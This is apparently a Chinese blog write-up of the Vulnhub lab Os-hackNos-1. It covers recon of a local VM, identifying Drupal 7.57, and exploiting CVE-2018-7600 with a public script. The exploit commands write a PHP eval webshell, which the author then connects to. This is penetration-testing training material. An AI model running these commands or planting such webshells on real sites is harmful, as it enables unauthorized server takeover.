【渗透测试】-vulnhub源码框架漏洞-Os-hackNos-1
vulnhub源码框架漏洞中的CVE-2018-7600-Drupal 7.57
文章目录
前言
1.靶场搭建:
2.信息搜集:
主机探测:
端口扫描:
目录扫描:
3.分析:
4.步骤:
1.下载CVE-2018-7600的exp
2.执行exp:
3.写入木马:
4.获取webshell
5.oday,1day,nday漏洞区别
前言 什么是源码框架漏洞?
源码框架是指在软件开发过程中,为了提高开发效率、简化开发流程、提高代码质量和可靠性的基础架构和模板。
若该框架中存在漏洞,hacker便可以此漏洞,迅速发起所谓的“1day攻击”-针对那些尚未应用相应安全补丁的、使用了该漏洞框架的网站或应用进行广泛而有效的渗透,严重威胁到用户数据的安全性和服务的稳定性。
1.靶场搭建:
请参考vulnhub靶机 Os-hackNos-1_os-hacknos-1无法找到ip地址-CSDN博客
编辑->虚拟网络编辑器->更改

Kali,靶机配置两次,使其ip地址处于同一网段上。
2.信息搜集:
主机探测:
Kali:192.168.147.130
靶机:192.168.147.145
端口扫描:
nmap -sT 192.168.147.145
22/tcp open ssh
80/tcp open http
目录扫描:
python dirsearch.py -u 192.168.147.145

发现登录页面:http://192.168.147.145/drupal/

爆破

用户名:

密码:

没爆出来

换一种思路
对http://192.168.147.145/drupal/进行目录扫描

得出存活目录:
200 - 317B - /drupal/.editorconfig

->没什么东西
200 - 174B - /drupal/.gitignore

->没用
200 - 32KB - /drupal/CHANGELOG.txt

得到/drupal版本信息,2018-今, Drupal 7.57
200 - 769B - /drupal/COPYRIGHT.txt

Java/php配置
200 - 1KB - /drupal/includes/

感觉没什么东西,还是大至翻一翻
ssh

代码审计-最后考虑。
Password

注释-密码范围,看这范围直接放弃
200 - 132KB - /drupal/includes/bootstrap.inc

主要得出php版本号:5.2.4
200 - 842B - /drupal/INSTALL.pgsql.txt

->好像和数据库有关,可就开放了两个端口,浪费时间……
200 - 868B - /drupal/INSTALL.mysql.txt

->这是教怎么创建数据库?和题没有一点关系。
200 - 1KB - /drupal/install.php

->没用
200 - 1KB - /drupal/install.php?profile=default

->没用
200 - 6KB - /drupal/INSTALL.txt

->又在提版本号
200 - 7KB - /drupal/LICENSE.txt
->没用
200 - 2KB - /drupal/MAINTAINERS.txt

->一堆介绍与,可惜没有泄露重要消息
200 - 849B - /drupal/modules/

200 - 271B - /drupal/profiles/minimal/minimal.info
一个下载文件

Drupal 7.57版本的“Minimal”发行版或配置,它仅启用了少数几个核心模块(如block和dblog),
200 - 743B - /drupal/profiles/standard/standard.info

200 - 278B - /drupal/profiles/testing/testing.info

200 - 2KB - /drupal/README.txt

接口之类的描述。
200 - 744B - /drupal/robots.txt

->python爬虫的君子协定,没有关系
200 - 648B - /drupal/scripts/
200 - 129B - /drupal/sites/all/libraries/README.txt
200 - 0B - /drupal/sites/example.sites.php
200 - 715B - /drupal/sites/all/modules/README.txt

->没什么用
200 - 545B - /drupal/sites/all/themes/README.txt
->一样
200 - 431B - /drupal/sites/README.txt

sites/all/,扩展
200 - 536B - /drupal/themes/

200 - 3KB - /drupal/UPGRADE.txt

->介绍版本
200 - 2KB - /drupal/web.config

->一节源代码,与目录拼接有关
200 - 42B - /drupal/xmlrpc.php

->没用
3.分析:
Drupal是使用PHP语言编写的开源内容管理框架,既然是框架,即我们找到它框架的漏洞就能找到http://192.168.147.145/drupal/的漏洞
而我们查明drupal的版本号是Drupal7.57,最著名的是远程代码执行(RCE)漏洞
CVE-2018-7600(远程代码执行漏洞)
- 影响:Drupal 7的Form API中存在一处远程代码执行漏洞,影响Drupal 7的多个版本,包括7.57。
- 方式:通过向Drupal站点发送特制的HTTP请求,攻击者可以利用该漏洞执行任意代码。这通常涉及对表单数据或Ajax调用的篡改。
- 利用:存在专门的Python脚本(如drupa7-CVE-2018-7600.py)用于自动化利用此漏洞。攻击者可以通过这些脚本测试目标网站是否存在该漏洞,并执行命令以获取敏感信息或进一步控制服务器。
4.步骤:
1.下载CVE-2018-7600的exp
git clone https://github.com/pimps/CVE-2018-7600.git
2.执行exp:
python drupa7-CVE-2018-7600.py http://192.168.147.145/drupal/ -c -l

3.写入木马:
python drupa7-CVE-2018-7600.py http://192.168.147.145/drupal/ -c "echo '<?php phpinfo(); ?>' > rce1.php" ->输出php
python drupa7-CVE-2018-7600.py http://192.168.147.145/drupal/ -c "echo '<?php @eval($_POST[cmd]); ?> '> rce2.php" ->上码子

4.获取webshell

蚁剑连接webshell

5.oday,1day,nday漏洞区别
0day漏洞:是指那些尚未被公众发现、官方尚未发布补丁的安全漏洞。这些漏洞的存在是未知的,软件开发商和用户都未意识到其存在,但攻击者已经知晓并可以利用它们进行攻击。
特点:
1.漏洞尚未被公开披露,软件厂商和用户都不知情。
2.由于漏洞未被修补,黑客可以利用它们进行持续性攻击,窃取敏感信息或瘫痪系统。
3.由于漏洞的未知性,软件厂商需要投入大量资源进行漏洞挖掘和修复工作。
1day漏洞:指那些已经被发现并公开披露,但软件厂商尚未发布修补程序或用户尚未广泛安装补丁的漏洞。这些漏洞的存在是已知的,但由于修补程序尚未到位,它们仍然可以被黑客利用。
特点:
1.漏洞已被公开披露,软件厂商和用户都已知情。
2.虽然漏洞已知,但由于修补程序尚未发布或用户尚未更新,黑客仍然可以利用它们进行攻击。然而,由于漏洞已经公开,用户和安全研究人员可以采取一些临时措施来降低风险。
nday漏洞:nday漏洞是指那些已经被软件厂商发现并发布了修补程序,但经过一段时间后,仍有部分用户尚未安装这些补丁的漏洞。这里的“n”代表天数,表示从漏洞被发现并发布补丁到当前时间的天数。
1.漏洞已被公开披露,并且软件厂商已经发布了修补程序。
2.由于修补程序的存在,黑客利用这些漏洞进行攻击的难度相对较大。然而,如果大量用户仍未更新补丁,黑客仍然有可能找到漏洞并利用它们。
相关文章:
【渗透测试】-vulnhub源码框架漏洞-Os-hackNos-1
vulnhub源码框架漏洞中的CVE-2018-7600-Drupal 7.57 文章目录 前言 1.靶场搭建: 2.信息搜集: 主机探测: 端口扫描: 目录扫描: 3.分析: 4.步骤: 1.下载CVE-2018-7600的exp 2.执行exp: 3.写入木…...
sqli-lab靶场学习(三)——Less8-10(盲注、时间盲注)
Less8 第八关依然是先看一般状态 http://localhost/sqli-labs/Less-8/?id1 然后用单引号闭合: http://localhost/sqli-labs/Less-8/?id1 这关的问题在于报错是不显示,那没办法通过上篇文章的updatexml大法处理。对于这种情况,需要用“盲…...
Pybullet 安装过程
Pybullet 安装过程(windows) 1. 安装C编译工具2. 安装Pybullet 1. 安装C编译工具 pybullet 需要C编译套件,直接装之前检查下,要不会报缺少某版本MVSC的error,最好的方式是直接下载visual studio,直接按默认…...
Error when custom data is added to Azure OpenAI Service Deployment
题意:在向 Azure OpenAI 服务部署添加自定义数据时出现错误。 问题背景: I receive the following error when adding my custom data which is a .txt file (it doesnt matter whether I add it via Azure Cognitive Search, Azure Blob Storage, or F…...
libreoffice word转pdf
一、准备一个word文件 运行: cd /root libreoffice --headless --convert-to pdf --outdir /root/output doc1.docx 发现中文乱码: 此时我们需要给linux 上添加中文字体: centos7 添加中文字体 再次运行正常: libreoffice --h…...
java -----泛型
泛型的理解和好处 泛型是在JDK5之后引入的一个新特性,可以在编译阶段约束操作的数据类型,并进行检查。 泛型的格式为 <数据类型> import java.util.ArrayList;SuppressWarnings({"all"}) public class Generic02 {public static void…...
Springboot 文件上传下载相关问题
文章目录 关于Springboot 文件上传下载问题解决方案注意事项文件上传文件下载文件删除文件在线打开在写练习的时候,发现了一些小小的问题,已经在 上述代码中体现。① 代码路径碰到中文的时候,会有乱码,需要转换(内容中…...
【Kotlin 与 Java 互操作】Java中调用带有默认值的Kotlin函数(十四)
导读大纲 1.0.1 Java 没有默认参数值的概念1.0.2 使用 JvmOverloads 来简化调用 1.0.1 Java 没有默认参数值的概念 因此当从 Java 调用带有默认参数值的 Kotlin 函数时 1. 必须明确指定所有参数值 fun <T> joinToString(collection: Collection<T>,separator: St…...
点赞系统实现
点赞功能是社交、电商等几乎所有的互联网项目中都广泛使用。虽然看起来简单,不过蕴含的技术方案和手段还是比较多的。 下面将分享之前做的判题OJ系统的点赞系统的思路。 1.需求分析 点赞功能与其它功能不同,没有复杂的原型和需求,仅仅是一…...
c++进阶学习-----继承
1.继承的概念及定义 1.1继承的概念 继承(inheritance)机制是面向对象程序设计使代码可以复用的最重要的手段,它允许程序员在保持原有类特性的基础上进行扩展,增加功能,这样产生新的类,称派生类。 继承呈现了面向对象 程序设计的…...
C++学习笔记(37)
302、makefile 在实际开发中,项目的源代码文件比较多,按类型、功能、模块分别存放在不同的目录和文件中,哪 些文件需要先编译,那些文件后编译,那些文件需要重新编译,还有更多更复杂的操作。 make 是一个强大…...
Redis发布和订阅
Redis 发布订阅 (pub/sub) 是一种消息通信模式:发送者 (pub) 发送消息,订阅者(sub) 接收消息 可以实现进程间的消息传递。这种模式非常适用于实时消息传递、事件通知和消息分发等场景 Redis可以实现消息中间件MQ的功能,通过发布订阅实现消息…...
计算机毕设设计推荐-基于python+Djanog大数据的电影数据可视化分析
精彩专栏推荐订阅:在下方主页👇🏻👇🏻👇🏻👇🏻 💖🔥作者主页:计算机毕设木哥🔥 💖 文章目录 一、电影数据可视…...
dhtmlxGantt 甘特图 一行展示多条任务类型
效果如图: 后台拿到数据 处理之后如图: 含义: 如上图所示, 如果一行需要展示多个 需要给父数据的那条添加render:split属性, 子数据的parent为父数据的Id即可 切记 父数据的id 别为0 为0 时 会出现错乱 因为有些小伙伴提出分段展示的数据结构还是有点问题,下面展示一个完整…...
COLORmap
在这段MATLAB代码中,surf(peaks)、map的定义以及colormap(map)的调用共同完成了以下任务: 1. **绘制曲面图**: - surf(peaks):这个函数调用了MATLAB内置的peaks函数来生成数据,并使用surf函数将这些数据绘制成一个…...
手机在网状态查询接口如何用Java进行调用?
一、什么是手机在网状态查询接口? 手机在网状态查询接口,又叫运营商在网状态查询,手机号在网状态查询,传入手机号码,查询该手机号的在网状态,返回内容有正常使用、停机、在网但不可用、不在网(…...
mysql性能优化- 数据库配置优化
MySQL 性能优化 - 数据库配置优化 MySQL 是一个广泛使用的关系型数据库管理系统,但随着数据量的增长和访问频率的提高,其性能可能会成为瓶颈。为了保持高效的性能,除了应用层的查询优化和索引优化之外,数据库配置优化 也是非常重…...
(算法)大数的进制转换
题目描述 将一个长度最多为30位数字的十进制非负整数转换为二进制数输出输入描述: 多组数据,每行为一个长度不超过30位的十进制非负整数。 (注意是10进制数字的个数可能有30个,而非30bits的整数)解析 例子 :123&…...
演示jvm锁存在的问题
文章目录 1、AlbumInfoApiController --》testLock()2、redis添加键值对3、AlbumInfoServiceImpl --》testLock() 没有加锁4、使用ab工具测试4.1、安装 ab 工具4.2、查看 redis 中的值 5、添加本地锁 synchronized6、集群情况下问题演示 jvm锁:synchronized lock 只…...
Android SharedPreference详解
Android SharedPreference详解 SharedPreferences作为一种数据持久化的方式,是处理简单的key-value类型数据时的首选。 一般用法: //demo是该sharedpreference对应文件名,对应的是一个xml文件,里面存放key-value格式的数据. SharedPreferences sharedPreferences…...
设计模式和设计原则回顾
设计模式和设计原则回顾 23种设计模式是设计原则的完美体现,设计原则设计原则是设计模式的理论基石, 设计模式 在经典的设计模式分类中(如《设计模式:可复用面向对象软件的基础》一书中),总共有23种设计模式,分为三大类: 一、创建型模式(5种) 1. 单例模式(Sing…...
STM32+rt-thread判断是否联网
一、根据NETDEV_FLAG_INTERNET_UP位判断 static bool is_conncected(void) {struct netdev *dev RT_NULL;dev netdev_get_first_by_flags(NETDEV_FLAG_INTERNET_UP);if (dev RT_NULL){printf("wait netdev internet up...");return false;}else{printf("loc…...
前端导出带有合并单元格的列表
// 导出async function exportExcel(fileName "共识调整.xlsx") {// 所有数据const exportData await getAllMainData();// 表头内容let fitstTitleList [];const secondTitleList [];allColumns.value.forEach(column > {if (!column.children) {fitstTitleL…...
条件运算符
C中的三目运算符(也称条件运算符,英文:ternary operator)是一种简洁的条件选择语句,语法如下: 条件表达式 ? 表达式1 : 表达式2• 如果“条件表达式”为true,则整个表达式的结果为“表达式1”…...
稳定币的深度剖析与展望
一、引言 在当今数字化浪潮席卷全球的时代,加密货币作为一种新兴的金融现象,正以前所未有的速度改变着我们对传统货币和金融体系的认知。然而,加密货币市场的高度波动性却成为了其广泛应用和普及的一大障碍。在这样的背景下,稳定…...
Cilium动手实验室: 精通之旅---13.Cilium LoadBalancer IPAM and L2 Service Announcement
Cilium动手实验室: 精通之旅---13.Cilium LoadBalancer IPAM and L2 Service Announcement 1. LAB环境2. L2公告策略2.1 部署Death Star2.2 访问服务2.3 部署L2公告策略2.4 服务宣告 3. 可视化 ARP 流量3.1 部署新服务3.2 准备可视化3.3 再次请求 4. 自动IPAM4.1 IPAM Pool4.2 …...
【FTP】ftp文件传输会丢包吗?批量几百个文件传输,有一些文件没有传输完整,如何解决?
FTP(File Transfer Protocol)本身是一个基于 TCP 的协议,理论上不会丢包。但 FTP 文件传输过程中仍可能出现文件不完整、丢失或损坏的情况,主要原因包括: ✅ 一、FTP传输可能“丢包”或文件不完整的原因 原因描述网络…...
Windows电脑能装鸿蒙吗_Windows电脑体验鸿蒙电脑操作系统教程
鸿蒙电脑版操作系统来了,很多小伙伴想体验鸿蒙电脑版操作系统,可惜,鸿蒙系统并不支持你正在使用的传统的电脑来安装。不过可以通过可以使用华为官方提供的虚拟机,来体验大家心心念念的鸿蒙系统啦!注意:虚拟…...
海云安高敏捷信创白盒SCAP入选《中国网络安全细分领域产品名录》
近日,嘶吼安全产业研究院发布《中国网络安全细分领域产品名录》,海云安高敏捷信创白盒(SCAP)成功入选软件供应链安全领域产品名录。 在数字化转型加速的今天,网络安全已成为企业生存与发展的核心基石,为了解…...
路由基础-路由表
本篇将会向读者介绍路由的基本概念。 前言 在一个典型的数据通信网络中,往往存在多个不同的IP网段,数据在不同的IP网段之间交互是需要借助三层设备的,这些设备具备路由能力,能够实现数据的跨网段转发。 路由是数据通信网络中最基…...
